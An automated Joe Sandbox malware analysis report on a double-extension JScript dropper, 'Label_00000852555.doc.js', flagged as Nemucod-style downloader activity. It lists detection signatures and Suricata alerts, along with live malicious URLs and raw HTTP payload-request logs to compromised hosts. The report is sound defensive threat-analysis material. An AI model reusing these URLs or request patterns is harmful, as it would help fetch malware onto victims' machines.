Edit tour

Windows Analysis Report
Label_00000852555.doc.js

Overview

General Information

Sample name:	Label_00000852555.doc.js
Analysis ID:	1559112
MD5:	0f2788de8df6b930440d2020910e2d23
SHA1:	44a9b3960c3ef00cab301748f333400fc5f7831b
SHA256:	1c0afb1107a22454bd57585f6c504400a6aa8af3c18f97b6a86dc09455eac8b2
Tags:	jsuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

JavaScript source code contains call to eval containing suspicious API calls

JavaScript source code contains functionality to check for AV products

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Cscript/Wscript Uncommon Script Extension Execution

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: WScript or CScript Dropper

Uses an obfuscated file name to hide its real file extension (double extension)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Found WSH timer for Javascript or VBS script (likely evasive script)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

Sigma detected: Script Initiated Connection

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3032 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Label_00000852555.doc.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cleanup

Sigma Signatures

System Summary

Sigma detected: Cscript/Wscript Uncommon Script Extension Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Label_00000852555.doc.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Label_00000852555.doc.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Label_00000852555.doc.js", ProcessId: 3032, ProcessName: wscript.exe

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 195.78.67.14, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 3032, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Label_00000852555.doc.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Label_00000852555.doc.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Label_00000852555.doc.js", ProcessId: 3032, ProcessName: wscript.exe

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 195.78.67.14, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 3032, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Label_00000852555.doc.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Label_00000852555.doc.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Label_00000852555.doc.js", ProcessId: 3032, ProcessName: wscript.exe

Suricata Signatures

ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:01:41.245310+0100	2022692	1	A Network Trojan was detected	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:42.238302+0100	2022692	1	A Network Trojan was detected	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:43.427956+0100	2022692	1	A Network Trojan was detected	192.168.2.5	49708	94.152.13.52	80	TCP
2024-11-20T08:01:43.832750+0100	2022692	1	A Network Trojan was detected	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:44.175573+0100	2022692	1	A Network Trojan was detected	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:44.900915+0100	2022692	1	A Network Trojan was detected	192.168.2.5	49708	94.152.13.52	80	TCP
2024-11-20T08:01:45.146863+0100	2022692	1	A Network Trojan was detected	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:45.493966+0100	2022692	1	A Network Trojan was detected	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:46.234275+0100	2022692	1	A Network Trojan was detected	192.168.2.5	49708	94.152.13.52	80	TCP
2024-11-20T08:01:46.496386+0100	2022692	1	A Network Trojan was detected	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:46.839710+0100	2022692	1	A Network Trojan was detected	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:47.604140+0100	2022692	1	A Network Trojan was detected	192.168.2.5	49708	94.152.13.52	80	TCP
2024-11-20T08:01:47.846621+0100	2022692	1	A Network Trojan was detected	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:48.245149+0100	2022692	1	A Network Trojan was detected	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:49.180060+0100	2022692	1	A Network Trojan was detected	192.168.2.5	49708	94.152.13.52	80	TCP

ET MALWARE WS/JS Downloader Mar 07 2017 M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:01:41.245310+0100	2024035	1	A Network Trojan was detected	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:42.238302+0100	2024035	1	A Network Trojan was detected	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:43.427956+0100	2024035	1	A Network Trojan was detected	192.168.2.5	49708	94.152.13.52	80	TCP
2024-11-20T08:01:43.832750+0100	2024035	1	A Network Trojan was detected	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:44.175573+0100	2024035	1	A Network Trojan was detected	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:45.146863+0100	2024035	1	A Network Trojan was detected	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:45.493966+0100	2024035	1	A Network Trojan was detected	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:46.496386+0100	2024035	1	A Network Trojan was detected	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:46.839710+0100	2024035	1	A Network Trojan was detected	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:47.846621+0100	2024035	1	A Network Trojan was detected	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:48.245149+0100	2024035	1	A Network Trojan was detected	192.168.2.5	49706	188.114.97.3	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Label_00000852555.doc.js

Avira: detected

Antivirus detection for URL or domain

Source: http://telektrim.pl/counter/?ad=1GNktTwWR98eD	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/asortyment/	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-270x270.png	Avira URL Cloud: Label: malware
Source: http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFN	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/themes/Divi/core/admin/js/common.js?ver=4.18.0	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1730473688	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-includes/js/jquery/jquery.min.js?ver=3.7.1	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/kontakt/	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-admin/admin-ajax.php	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-32x32.png	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/counter/?ad=	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/feed/	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/xmlrpc.php	Avira URL Cloud: Label: malware
Source: http://shanghaizuoye.com/counter	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif)	Avira URL Cloud: Label: malware
Source: http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKR	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/comments/feed/	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/o-nas/	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/biura-magazyny/	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/et-cache/954/et-core-unified-cpt-deferred-954.min.css?ver=1730473688	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-includes/css/dist/block-library/style.min.css?ver=6.7	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-json/	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/plugins/cookie-notice/css/front.min.css?ver=2.4.18	Avira URL Cloud: Label: malware
Source: http://shanghaizuoye.com/cA	Avira URL Cloud: Label: malware
Source: http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUP~	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxz	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/plugins/cookie-notice/js/front.min.js?ver=2.4.18	Avira URL Cloud: Label: malware
Source: http://shanghaizuoye.com/counter/?ad=1GNktTwWR98e	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/uploads/2022/08/Zrzut-ekranu-2022-08-20-o-18.11.46.png	Avira URL Cloud: Label: malware
Source: http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyE	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/counter/?ad=1GNktTwW	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=32	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=31	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-192x192.png	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=33	Avira URL Cloud: Label: malware
Source: http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-5	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.6.1	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/themes/Divi/js/scripts.min.js?ver=4.18.0	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/et-cache/notfound/et-divi-dynamic-tb-954-late.css?ver=1730469746	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=34	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-180x180.png	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/wp-content/et-cache/notfound/et-divi-dynamic-tb-954.css?ver=1730469746	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/xmlrpc.php?rsd	Avira URL Cloud: Label: malware
Source: http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=35	Avira URL Cloud: Label: malware
Source: http://shanghaizuoye.com/counter/?ad=1GN	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: Label_00000852555.doc.js	ReversingLabs: Detection: 50%
Source: Label_00000852555.doc.js	Virustotal: Detection: 52%			Perma Link

JavaScript source code contains functionality to check for AV products

Source: Label_00000852555.doc.js	Return value : ['"var id="LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM"; var ad="1']			Go to definition
Source: Label_00000852555.doc.js	Argument value : ['"var id="LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM"; var ad="1']			Go to definition

Software Vulnerabilities

JavaScript source code contains call to eval containing suspicious API calls

Source: Label_00000852555.doc.js

Argument value: ['"var id="LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM"; var ad="1']

Go to definition

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: Label_00000852555.doc.js	Return value : ['"var id="LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM"; var ad="1']			Go to definition
Source: Label_00000852555.doc.js	Argument value : ['"var id="LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM"; var ad="1']			Go to definition

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2022692 - Severity 1 - ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31 : 192.168.2.5:49704 -> 195.78.67.14:80
Source: Network traffic	Suricata IDS: 2024035 - Severity 1 - ET MALWARE WS/JS Downloader Mar 07 2017 M1 : 192.168.2.5:49704 -> 195.78.67.14:80
Source: Network traffic	Suricata IDS: 2022692 - Severity 1 - ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31 : 192.168.2.5:49708 -> 94.152.13.52:80
Source: Network traffic	Suricata IDS: 2024035 - Severity 1 - ET MALWARE WS/JS Downloader Mar 07 2017 M1 : 192.168.2.5:49708 -> 94.152.13.52:80
Source: Network traffic	Suricata IDS: 2022692 - Severity 1 - ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31 : 192.168.2.5:49706 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2024035 - Severity 1 - ET MALWARE WS/JS Downloader Mar 07 2017 M1 : 192.168.2.5:49706 -> 188.114.97.3:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Network Connect: 188.114.97.3 80	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 195.78.67.14 443	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 94.152.13.52 80	Jump to behavior

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

Source: Label_00000852555.doc.js	Return value : ['"var id="LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM"; var ad="1']			Go to definition
Source: Label_00000852555.doc.js	Argument value : ['"var id="LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM"; var ad="1']			Go to definition

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: SUPERHOST-PL-ASPL SUPERHOST-PL-ASPL

Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=11 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: arlettakubicka.plConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=21 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tamilandth.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=31 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: telektrim.plConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=12 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: arlettakubicka.plConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=22 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tamilandth.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=32 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: telektrim.plConnection: Keep-AliveCookie: PHPSESSID=4c12adf4a82439c05f107533fdbc2453
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=13 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: arlettakubicka.plConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=23 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tamilandth.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=33 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: telektrim.plConnection: Keep-AliveCookie: PHPSESSID=4c12adf4a82439c05f107533fdbc2453
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=14 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: arlettakubicka.plConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=24 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tamilandth.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=34 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: telektrim.plConnection: Keep-AliveCookie: PHPSESSID=4c12adf4a82439c05f107533fdbc2453
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=15 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: arlettakubicka.plConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tamilandth.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=35 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: telektrim.plConnection: Keep-AliveCookie: PHPSESSID=4c12adf4a82439c05f107533fdbc2453

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=11 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: arlettakubicka.plConnection: Keep-Alive
